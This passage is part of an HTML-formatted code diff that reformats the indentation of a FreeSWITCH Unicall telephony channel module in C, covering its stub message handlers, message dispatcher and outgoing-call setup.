+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "nomedia(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "nomedia(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t hold(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "hold(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "hold(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unhold(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unhold(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unhold(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t redirect(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "redirect(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t respond(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "respond(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "respond(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t broadcast(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "broadcast(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "broadcast(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t media_redirect(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media_redirect(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "media_redirect(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t deflect(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "deflect(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "deflect(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t video_refresh_req(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "video_refresh_req(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "video_refresh_req(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t display(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
- uc_t *uc;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
+        uc_t *uc;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- uc = tech_pvt->uc;
- assert(uc != NULL);
</del><ins>+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        uc = tech_pvt->uc;
+        assert(uc != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "display(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "display(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_receive_message(switch_core_session_t *session, switch_core_session_message_t *msg)
</span><span class="cx"> {
</span><del>- switch (msg->message_id)
- {
- case SWITCH_MESSAGE_REDIRECT_AUDIO:
- return redirect_audio(session, msg);
- case SWITCH_MESSAGE_TRANSMIT_TEXT:
- return transmit_text(session, msg);
- case SWITCH_MESSAGE_INDICATE_ANSWER:
- return answer(session, msg);
- case SWITCH_MESSAGE_INDICATE_PROGRESS:
- return progress(session, msg);
- case SWITCH_MESSAGE_INDICATE_BRIDGE:
- return bridge(session, msg);
- case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
- return unbridge(session, msg);
- case SWITCH_MESSAGE_INDICATE_TRANSFER:
- return transfer(session, msg);
- case SWITCH_MESSAGE_INDICATE_RINGING:
- return ringing(session, msg);
- case SWITCH_MESSAGE_INDICATE_MEDIA:
- return media(session, msg);
- case SWITCH_MESSAGE_INDICATE_NOMEDIA:
- return nomedia(session, msg);
- case SWITCH_MESSAGE_INDICATE_HOLD:
- return hold(session, msg);
- case SWITCH_MESSAGE_INDICATE_UNHOLD:
- return unhold(session, msg);
- case SWITCH_MESSAGE_INDICATE_REDIRECT:
- return redirect(session, msg);
- case SWITCH_MESSAGE_INDICATE_RESPOND:
- return respond(session, msg);
- case SWITCH_MESSAGE_INDICATE_BROADCAST:
- return broadcast(session, msg);
- case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
- return media_redirect(session, msg);
- case SWITCH_MESSAGE_INDICATE_DEFLECT:
- return deflect(session, msg);
- case SWITCH_MESSAGE_INDICATE_VIDEO_REFRESH_REQ:
- return video_refresh_req(session, msg);
- case SWITCH_MESSAGE_INDICATE_DISPLAY:
- return display(session, msg);
- default:
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_message(%p) %d\n", (void *) session, msg->message_id);
- break;
- }
</del><ins>+        switch (msg->message_id) {
+        case SWITCH_MESSAGE_REDIRECT_AUDIO:
+                return redirect_audio(session, msg);
+        case SWITCH_MESSAGE_TRANSMIT_TEXT:
+                return transmit_text(session, msg);
+        case SWITCH_MESSAGE_INDICATE_ANSWER:
+                return answer(session, msg);
+        case SWITCH_MESSAGE_INDICATE_PROGRESS:
+                return progress(session, msg);
+        case SWITCH_MESSAGE_INDICATE_BRIDGE:
+                return bridge(session, msg);
+        case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+                return unbridge(session, msg);
+        case SWITCH_MESSAGE_INDICATE_TRANSFER:
+                return transfer(session, msg);
+        case SWITCH_MESSAGE_INDICATE_RINGING:
+                return ringing(session, msg);
+        case SWITCH_MESSAGE_INDICATE_MEDIA:
+                return media(session, msg);
+        case SWITCH_MESSAGE_INDICATE_NOMEDIA:
+                return nomedia(session, msg);
+        case SWITCH_MESSAGE_INDICATE_HOLD:
+                return hold(session, msg);
+        case SWITCH_MESSAGE_INDICATE_UNHOLD:
+                return unhold(session, msg);
+        case SWITCH_MESSAGE_INDICATE_REDIRECT:
+                return redirect(session, msg);
+        case SWITCH_MESSAGE_INDICATE_RESPOND:
+                return respond(session, msg);
+        case SWITCH_MESSAGE_INDICATE_BROADCAST:
+                return broadcast(session, msg);
+        case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
+                return media_redirect(session, msg);
+        case SWITCH_MESSAGE_INDICATE_DEFLECT:
+                return deflect(session, msg);
+        case SWITCH_MESSAGE_INDICATE_VIDEO_REFRESH_REQ:
+                return video_refresh_req(session, msg);
+        case SWITCH_MESSAGE_INDICATE_DISPLAY:
+                return display(session, msg);
+        default:
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_message(%p) %d\n", (void *) session, msg->message_id);
+                break;
+        }
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* Make sure when you have 2 sessions in the same scope that you pass the appropriate one to the routines
</span><span class="cx"> that allocate memory or you will have 1 channel with memory allocated from another channel's pool!
</span><span class="cx"> */
</span><span class="cx"> static switch_call_cause_t unicall_outgoing_channel(switch_core_session_t *session,
</span><del>- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session,
- switch_memory_pool_t **pool,
- switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_event_t *var_event,
+                                                                                                        switch_caller_profile_t *outbound_profile,
+                                                                                                        switch_core_session_t **new_session,
+                                                                                                        switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><del>- private_t *tech_pvt;
- switch_channel_t *channel;
- switch_caller_profile_t *caller_profile;
- uc_t *uc;
- uc_makecall_t makecall;
- uc_callparms_t *callparms;
- int screen;
- int hide;
- char name[128];
</del><ins>+        private_t *tech_pvt;
+        switch_channel_t *channel;
+        switch_caller_profile_t *caller_profile;
+        uc_t *uc;
+        uc_makecall_t makecall;
+        uc_callparms_t *callparms;
+        int screen;
+        int hide;
+        char name[128];
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL)
- {
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- }
</del><ins>+        if ((*new_session = switch_core_session_request(unicall_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) == NULL) {
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
</ins><span class="cx">
</span><del>- switch_core_session_add_stream(*new_session, NULL);
- if ((tech_pvt = (private_t *) switch_core_session_alloc(*new_session, sizeof(private_t))) == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
- switch_core_session_destroy(new_session);
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- }
- channel = switch_core_session_get_channel(*new_session);
- tech_init(tech_pvt, *new_session);
</del><ins>+        switch_core_session_add_stream(*new_session, NULL);
+        if ((tech_pvt = (private_t *) switch_core_session_alloc(*new_session, sizeof(private_t))) == NULL) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
+                switch_core_session_destroy(new_session);
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
+        channel = switch_core_session_get_channel(*new_session);
+        tech_init(tech_pvt, *new_session);
</ins><span class="cx">
</span><del>- if (outbound_profile == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Doh! no caller profile\n");
- switch_core_session_destroy(new_session);
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
- }
- snprintf(name, sizeof(name), "UNICALL/%s", outbound_profile->destination_number);
- switch_channel_set_name(channel, name);
</del><ins>+        if (outbound_profile == NULL) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Doh! no caller profile\n");
+                switch_core_session_destroy(new_session);
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
+        }
+        snprintf(name, sizeof(name), "UNICALL/%s", outbound_profile->destination_number);
+        switch_channel_set_name(channel, name);
</ins><span class="cx">
</span><del>- caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
- switch_channel_set_caller_profile(channel, caller_profile);
- tech_pvt->caller_profile = caller_profile;
</del><ins>+        caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
+        switch_channel_set_caller_profile(channel, caller_profile);
+        tech_pvt->caller_profile = caller_profile;
</ins><span class="cx">
</span><del>- uc = tech_pvt->uc;
</del><ins>+        uc = tech_pvt->uc;
</ins><span class="cx">
</span><del>- if ((callparms = uc_new_callparms(NULL)) == NULL)
- return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</del><ins>+        if ((callparms = uc_new_callparms(NULL)) == NULL)
+                return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</ins><span class="cx">
</span><del>- //uc_callparm_bear_cap_transfer_cap(callparms, cap);
- //uc_callparm_bear_cap_transfer_mode(callparms, mode);
- //uc_callparm_bear_cap_transfer_rate(callparms, rate);
- //uc_callparm_userinfo_layer1_protocol(callparms, prot);
- //uc_callparm_user_rate(callparms, rate);
</del><ins>+        //uc_callparm_bear_cap_transfer_cap(callparms, cap);
+        //uc_callparm_bear_cap_transfer_mode(callparms, mode);
+        //uc_callparm_bear_cap_transfer_rate(callparms, rate);
+        //uc_callparm_userinfo_layer1_protocol(callparms, prot);
+        //uc_callparm_user_rate(callparms, rate);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "destination '%s'\n", outbound_profile->destination_number);
- uc_callparm_set_destination_number(callparms, outbound_profile->destination_number);
- uc_callparm_set_destination_ton(callparms, outbound_profile->destination_number_ton);
- uc_callparm_set_destination_npi(callparms, outbound_profile->destination_number_numplan);
- //uc_callparm_set_destination_sub_addr_number(callparms, num);
- //uc_callparm_set_destination_sub_addr_ton(callparms, ton);
- //uc_callparm_set_destination_sub_addr_npi(callparms, npi);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "destination '%s'\n", outbound_profile->destination_number);
+        uc_callparm_set_destination_number(callparms, outbound_profile->destination_number);
+        uc_callparm_set_destination_ton(callparms, outbound_profile->destination_number_ton);
+        uc_callparm_set_destination_npi(callparms, outbound_profile->destination_number_numplan);
+        //uc_callparm_set_destination_sub_addr_number(callparms, num);
+        //uc_callparm_set_destination_sub_addr_ton(callparms, ton);
+        //uc_callparm_set_destination_sub_addr_npi(callparms, npi);
</ins><span class="cx">
</span><del>- //uc_callparm_set_redirecting_cause(callparms, cause);
- //uc_callparm_set_redirecting_presentation(callparms, pres);
- uc_callparm_set_redirecting_number(callparms, outbound_profile->rdnis);
- uc_callparm_set_redirecting_ton(callparms, outbound_profile->rdnis_ton);
- uc_callparm_set_redirecting_npi(callparms, outbound_profile->rdnis_numplan);
- //uc_callparm_set_redirecting_subaddr(callparms, num);
- //uc_callparm_set_redirecting_subaddr_ton(callparms, ton);
- //uc_callparm_set_redirecting_subaddr_npi(callparms, npi);
</del><ins>+        //uc_callparm_set_redirecting_cause(callparms, cause);
+        //uc_callparm_set_redirecting_presentation(callparms, pres);
+        uc_callparm_set_redirecting_number(callparms, outbound_profile->rdnis);
+        uc_callparm_set_redirecting_ton(callparms, outbound_profile->rdnis_ton);
+        uc_callparm_set_redirecting_npi(callparms, outbound_profile->rdnis_numplan);
+        //uc_callparm_set_redirecting_subaddr(callparms, num);
+        //uc_callparm_set_redirecting_subaddr_ton(callparms, ton);
+        //uc_callparm_set_redirecting_subaddr_npi(callparms, npi);
</ins><span class="cx">
</span><del>- //uc_callparm_set_original_called_number(callparms, num);
- //uc_callparm_set_original_called_number_ton(callparms, ton);
- //uc_callparm_set_original_called_number_npi(callparms, npi);
</del><ins>+        //uc_callparm_set_original_called_number(callparms, num);
+        //uc_callparm_set_original_called_number_ton(callparms, ton);
+        //uc_callparm_set_original_called_number_npi(callparms, npi);
</ins><span class="cx">
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id name '%s'\n", outbound_profile->caller_id_name);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id number '%s'\n", outbound_profile->caller_id_number);
- uc_callparm_set_originating_name(callparms, outbound_profile->caller_id_name);
- uc_callparm_set_originating_number(callparms, outbound_profile->caller_id_number);
- screen = switch_test_flag(outbound_profile, SWITCH_CPF_SCREEN);
- hide = switch_test_flag(outbound_profile, SWITCH_CPF_HIDE_NUMBER);
- if (!screen && !hide)
- uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_NOT_SCREENED);
- else if (!screen && hide)
- uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_NOT_SCREENED);
- else if (screen && !hide)
- uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_PASSED_SCREEN);
- else
- uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_PASSED_SCREEN);
- uc_callparm_set_originating_ton(callparms, outbound_profile->caller_ton);
- uc_callparm_set_originating_npi(callparms, outbound_profile->caller_numplan);
- //uc_callparm_set_originating_sub_addr_number(callparms, num);
- //uc_callparm_set_originating_sub_addr_ton(callparms, ton);
- //uc_callparm_set_originating_sub_addr_npi(callparms, npi);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id name '%s'\n", outbound_profile->caller_id_name);
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "caller id number '%s'\n", outbound_profile->caller_id_number);
+        uc_callparm_set_originating_name(callparms, outbound_profile->caller_id_name);
+        uc_callparm_set_originating_number(callparms, outbound_profile->caller_id_number);
+        screen = switch_test_flag(outbound_profile, SWITCH_CPF_SCREEN);
+        hide = switch_test_flag(outbound_profile, SWITCH_CPF_HIDE_NUMBER);
+        if (!screen && !hide)
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_NOT_SCREENED);
+        else if (!screen && hide)
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_NOT_SCREENED);
+        else if (screen && !hide)
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_ALLOWED_USER_NUMBER_PASSED_SCREEN);
+        else
+                uc_callparm_set_originating_presentation(callparms, UC_PRES_PROHIB_USER_NUMBER_PASSED_SCREEN);
+        uc_callparm_set_originating_ton(callparms, outbound_profile->caller_ton);
+        uc_callparm_set_originating_npi(callparms, outbound_profile->caller_numplan);
+        //uc_callparm_set_originating_sub_addr_number(callparms, num);
+        //uc_callparm_set_originating_sub_addr_ton(callparms, ton);
+        //uc_callparm_set_originating_sub_addr_npi(callparms, npi);
</ins><span class="cx">
</span><del>- uc_callparm_set_calling_party_category(callparms, UC_CALLER_CATEGORY_NATIONAL_SUBSCRIBER_CALL);
-
- makecall.callparms = callparms;
- makecall.call = NULL;
</del><ins>+        uc_callparm_set_calling_party_category(callparms, UC_CALLER_CATEGORY_NATIONAL_SUBSCRIBER_CALL);
</ins><span class="cx">
</span><ins>+        makecall.callparms = callparms;
+        makecall.call = NULL;
+
</ins><span class="cx"> #if 0
</span><del>- if ((ret = uc_call_control(uc, UC_OP_MAKECALL, 0, (void *) &makecall)) < 0)
- {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "Make call failed - %s\n", uc_ret_to_str(ret));
- return SWITCH_STATUS_FAILED;
- }
- /*endif*/
</del><ins>+        if ((ret = uc_call_control(uc, UC_OP_MAKECALL, 0, (void *) &makecall)) < 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "Make call failed - %s\n", uc_ret_to_str(ret));
+                return SWITCH_STATUS_FAILED;
+        }
+        /*endif */
</ins><span class="cx"> #endif
</span><del>- free(callparms);
</del><ins>+        free(callparms);
</ins><span class="cx">
</span><del>- switch_channel_set_flag(channel, CF_OUTBOUND);
- switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
- switch_channel_set_state(channel, CS_INIT);
-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p) SUCCESS\n", (void *) session);
- return SWITCH_CAUSE_SUCCESS;
</del><ins>+
+        switch_channel_set_state(channel, CS_INIT);
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_INFO, "unicall_outgoing_channel(%p) SUCCESS\n", (void *) session);
+        return SWITCH_CAUSE_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t unicall_receive_event(switch_core_session_t *session, switch_event_t *event)
</span><span class="cx"> {
</span><del>- struct private_object *tech_pvt = switch_core_session_get_private(session);
- char *body = switch_event_get_body(event);
</del><ins>+        struct private_object *tech_pvt = switch_core_session_get_private(session);
+        char *body = switch_event_get_body(event);
</ins><span class="cx">
</span><del>- switch_assert(tech_pvt != NULL);
</del><ins>+        switch_assert(tech_pvt != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_event(%p)\n", (void *) session);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "unicall_receive_event(%p)\n", (void *) session);
</ins><span class="cx">
</span><del>- if (body == NULL)
- body = "";
</del><ins>+        if (body == NULL)
+                body = "";
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void *SWITCH_THREAD_FUNC unicall_thread_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><del>- fd_set read;
- fd_set write;
- fd_set oob;
</del><ins>+        fd_set read;
+        fd_set write;
+        fd_set oob;
</ins><span class="cx">         int fd;
</span><del>- int ret;
- switch_event_t *s_event;
